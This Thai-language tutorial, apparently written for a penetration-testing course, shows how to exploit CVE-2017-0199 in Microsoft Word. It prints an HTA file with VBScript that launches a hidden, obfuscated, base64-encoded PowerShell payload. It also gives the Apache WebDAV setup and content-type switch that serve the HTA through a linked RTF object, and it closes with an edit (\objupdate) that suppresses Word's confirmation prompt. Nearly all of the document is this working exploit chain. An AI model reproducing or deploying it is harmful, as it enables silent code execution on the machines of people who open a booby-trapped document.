จริงๆต้องบอกว่า CVE-2017-0199 นั้นเก่าพอสมควรมากแล้ว โดย CVE-2017-0199 ถูก publish ตั้งแต่เดือนเมษายน 2017 ทีนี้ผมทำ tutorial นี้ขึ้นมาเพื่อทดสอบทำการโจมตี Post Exploitation ใน Course Basic Penetration Testing เผื่อใครสนใจก็ลองดูครับ
1. สร้าง base64 command ขึ้นมา ในที่นี้สร้างโดยใช้ Msfvenom ครับ (หากใครยังไม่ได้สร้าง base64 encoder module ลองไปดูที่นี่ครับ)
2. สร้าง hta ขึ้นมา โดยในที่นี้ใช้ชื่อเป็น main.hta
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> <title>Bonjour</title> <script language="VBScript"> Set owFrClN0giJ = CreateObject("Wscript.Shell") Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject") If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then owFrClN0giJ.Run "powershell.exe -nop -w hidden -e cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBlAHgAZQBjACAAYgB5AHAAYQBzAHMAIAAtAG4AbwBwACAALQBXACAAaABpAGQAZABlAG4AIAAtAG4AbwBuAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAEkARQBYACAAJAAoACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEgANABzAEkAQQBGAHUAcgA2AFYAawBDAEEANQAxAFcAMgAyADcAagBOAGgAQgA5ADkAMQBjAE0AWABIAFUAdABJAFIAWgBoAHUAOAAxAEwAZwBDAHoAcQBWAGIASgB0AGcASABUAFgAVwBMAG4ATgBnADIARQBnAE4ARABXAE8AMQBjAGkAawBsADYAUgA4AFEAZQBKAC8ATAB5AGwAUgBsAGgAdwBuADIASwBaADYAcwBVAFUATwB6ADUAdwA1AGMANgBGACsAZwBwAEgAWQBvAEoAegBuAEgARQBLADQAawA2AG4AVwB5AEcARwAyAGcAMAAvAG0AWgA1AHgATABqAGgASQArAHcAQgBWAGQASQAvAHgAQgBaAGIASgByAHQAWQB3AGwAMAA2AG4AZwA4AEQAdgBxADgAQQA1AG4ATABFAHUAUgBhADIAZwA5AHQAYwBBADgAMwBvAGIAQgBKAFgAegBCAFQAZgBoADEAOQBnADgAeQBEAGUARgA0AHQAOABJAHYAZABJAGwAbQBVAFIATgBqAEgAeABYADIAbABUAEgANQBTACsARQBWAHoAbQBtAGUANgBVAGgAaQBZAG4AWgBTAG0AaQBrAEQANABXAG0AWgA0ADgARgBxAEoATQBWADIAUgAxADUAWQBtAFAAWABHAFMAbQBYAGIAMgB0AGMAVQBWADEAVgBvAHIAUwBjAG8AOQBrAGQAVQAwAHEAVgBmAC8AcAAvAEUAVwBxAGIAOABZAGUAcABGAFkAcgBtAGsAUABPAGsAZQByADgAWQBxAFkANABLAC8AVwBMAHcAUwBHADUANABKAG0AaABTAHIAZwBjAE8AVQBnAHEARgBTADQAQQBSAFkAaQBpAFQAUAAwAEIATAA4AHoAUQArAGcATgBFAG4AbgA0AEYAZAB1AEkATQBUAHYAMABKADYAbABQAEcAawBIAHgAVwBaADUAcgBqAGkAYgBwAGMAcgBJAGIAeQBTAC8ATgBDADUAMwA1AHYAKwBTAFcATgBWAGkAdwBSADUAUgBLAHoASgBtAHEAMQB0AG4ATQBmADMAVgBQAEsAYwBIAGkAZABKAFUAYQB1AHYAWABlAFMANQAyAFgAWQBvAHUARwAzAFoARAB4AG4AQwBsAEQAVwBDAFoARAByACsAawBzAG4AKwBMAHIAcwBRADEAUwBvAFcAbgBqAEEALwBRAGoAWgBTAC8AeABqAHcAYQBPAFUAZgB0AGYAbwA4AE0AKwBuADEAeQBmAGsANQArAGEAWABkAHQARgBNADUAMQBxADUAUgBQAGEAWQBsADAAYQBiAG0AVwAwAE0AUwBVAFcAVgB5AHMARwBZADQAMQB1AHoASQA3AEoAVABsAGIASwBXADIAWABqAEEAWQAxAHAAYgBLADQAQQBuAHUARABIAGIATABjAFYAUAB5AE8AeABKAFcAcAA3AC8AeAAzAHYAYgBrAHAASwBlAHoANgBUADkANwBZAG8ATwA4AGgAcABBAG8AbQBSADIAZQArADQAVgBKAG8AagBGAEQAcQBkAEoANAB5AHEAdgBGAHYAbQBxAFUASgB0AFgAVQBYADAAUwB5AGIAVQBmAFkANABEAFkASgBYADYASgBCAGgAcgBoAGUAMgBhAE8AMgBoAG8AWABwAE4AbAA2AEMAUgB2AEYAcQBRAE8AcQBDAG0AWQBwAFAAWgBUAHUATgBrAE8AdgBYAHMAcgB5ADIANwBIAGkARwBEAG4AbgBtAGUAZgAzADcAcQA3AFoAMgBvAHkASgBOAHEAMgA1ADkAbwAzAEcAcQBDAG4ASQBuAEUAMQB2AFQARgB4AFQAQwBPAGIAbQA0AEMASwAvAFEAbgBhACsATwAzADcAMAB4AHgAaQBvADAAcQBKADAATwA4AHcAQwB3AEQAbQBYAE4AdQByAE0ASABJAGsAQwB0AFQAbwBHADAANABBAHcALwA1ACsAcwBLACsAYwBkAHYAZQBaADIAYgBOAFoATwBTAHcAdwBjAFIAeQBsAGUAdAA2ADgANQA1AEgAWQByAFcAVAA2AGMATgBDAGcAeAA4AEYATQBPAGoAMQB6ACsASABQAGwARQBtAGgAeABGAHgARABKAE8AUgBLAHkARQBJACsAQQBrAFAAcgAwAFYAbwBxAGsARwBnAGMAcgBEAEUAaAA5AC8AeQBlAHUALwBwAHoAbQBoAEEANwByAHQAQwB2AG8AKwB2ADIAdQB2AFUATAB1AFUAWAArAG8AQgBmAE4AbwBxAG0ANgB0ADEAawAyAEoAMQBYAHoAUABxAGsAbQBaADEATwA0AE4AWgBCAFcARwA5AGYANQA1AE0ARAB6AC8AVgB5AHIAVQA1ACsARgB2AEsAWgBzAFkAVABpAFgAbwBKAEQAeQB3ADIAUwBwAHIAVwByAGEAOQB2AEcAUABCAG4ASgBBAHEAbQBqAEwAMgBWAFUAaABCAGMAOAAzAGYAQwAwAGUATQBiAHoAZQByAG8AeQAyAHkAdQBoADkAUQBOAGsAZgBkACsASwA3AGwATwBpAE0AWQB1AGkAWQBQAEIAYwBzAGIAZwBVAHIATQBoAG0AUQBFAGQAVQBMAHMAOQByADUAMgBQAG4AZgBxAGQAcwBzADAAZwB4ADkAMwAwAHUATABIAGkAaQBQAGYAMABPAGEAKwBHAFgARgBkADYASABYAEIAZQAvAG8AWABBAEEAaABSACsAaQBkADUAUABiAGEAMABzAGQAawBiAEUASgA1ADYANQBKAHkAMAA4AEcAYQBrAEMATABFAGEAeABkAHkAagBXAEoANgBuAEYAbwBxAEQAVABRADMAcABBAHEAWgBxADMARABBAFMANABNAFgAWgBXAFYARwBnAHQAWAB5AEoAQQBFAFEAVgBzAE8AMgBCAEIAOQA4AC8ATgBDAEgAWgAvAGkAYQA2ADcAQgBFAEIAUwBmAEYARQBkAFEAQQBDAGsARQBxAFkAQwBQAHkARAAxAEkAQQBuAFIAcABrAGEANABsADQASwBLAFcAUQBrADkANwAwAHkARgBtAEQAZABiAEYAUABXAEkAWgBVACsAcwBGAHIARABDADYAYgBMADYAYgB4AHQANgAzAFQAVAB2AHAAUAA1AFYAUABEAC8ATABCADEAbQBxAFYAeQAwAGoAagBWAG0AYwA5AFoAcgBoAGEASAArADkAZQBOAFEAWABlAGoAUgBKAGwAUQA2AE8ASwBwAGIAOABSAFkAaQAxAFYAMQBEAFoAcAB2AGkATgBiAGgAMgArAEcAUQBIAEgAYwBKAFEAdQBnAHUASAB6AHQAQQAvAGcAVQBwADkAawA4AG4AUAB3AGsAQQBBAEEAPQA9ACcAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsAKQAAAAoA" End If </script> <hta:application id="oHTA" applicationname="Bonjour" application="yes" > </hta:application> </head> <div> <object type="text/html" data="http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%"> </object></div> <body> </body> </html> |
3. สร้าง RTF file โดยใช้ Winword โดยภายในนั้นเป็นไฟล์ทดสอบการ link ไฟล์
4. ติดตั้ง apache2 ขึ้นมา และติดตั้ง module ต่างๆ
1 2 3 4 5 6 |
apt-get install apache2 a2enmod dav a2enmod dav_fs a2enmod dav_lock a2enmod headers service apache2 restart |
5. แก้ไข configure ใน virtual host ให้มีการรองรับ feature ของ DAV
1 2 3 4 5 6 |
<Directory /var/www/html/ms/> Header set Content-Type "application/rtf" </Directory> <Directory /> Dav on </Directory> |
6. นำไฟล์ที่สร้างในขั้นตอนที่ 3 ไปไว้ที่ /var/www/html/ms/
7. สร้างไฟล์ exploit.rtf โดยใช้ Winword อีกที โดยภายในไฟล์นี้ให้เราสร้าง object ใหม่ที่จะ link กลับไปยัง main.rtf ขึ้นมา โดยเข้าไปที่ insert -> Object แล้วไปส่วนที่ Create from file แล้วให้กำหนด path ของ main.rtf
จากนั้นเลือกที่ option “Link to file” ถ้าสำเร็จข้อมูลที่อยู่ใน main.rtf จะมาโผล่ใน exploit.rtf ครับ
8. เมื่อทดสอบแล้วมัน work ก็ได้เวลาทำของจริงกันคือการนำไฟล์ main.hta ที่สร้างในข้อ 2 ไปใส่ไว้ใน path /var/www/html/ms/main.rtf แทนไฟล์เก่า
1 |
cp main.hta /var/www/html/ms/main.rtf |
9. เข้าไปปรับโหมดการส่ง application type ของ DAV ให้เป็น hta
1 2 3 |
<Directory /var/www/html/ms/> Header set Content-Type "application/hta" </Directory> |
10. restart apache2
1 |
service apache2 restart |
11. ทดสอบเปิดไฟล์ exploit.rtf อีกที จะพบว่าไฟล์พยายามจะอัพเดตเนื้อหาของไฟล์ exploit.rtf ที่มีการ link ไปยัง main.rtf
เมื่อ update ก็จะมีการส่ง hta ให้กับ Microsoft Word ทำงาน ตัว Microsoft Word จะไปเรียกใช้งาน hsmta แล้วไปเรียก wscript และ wscript ก็จะไปเรียกใช้งาน powershell.exe ในที่สุด ตามที่เราเขียนใน hta ครับ
หากไม่ต้องการให้มีการถาม Yes, No ตามภาพด้านบน ให้แก้ไขค่าของ document ผ่าน notepad โดยแก้ \object\objautlink ให้กลายเป็น \object\objautlink\objupdate แทน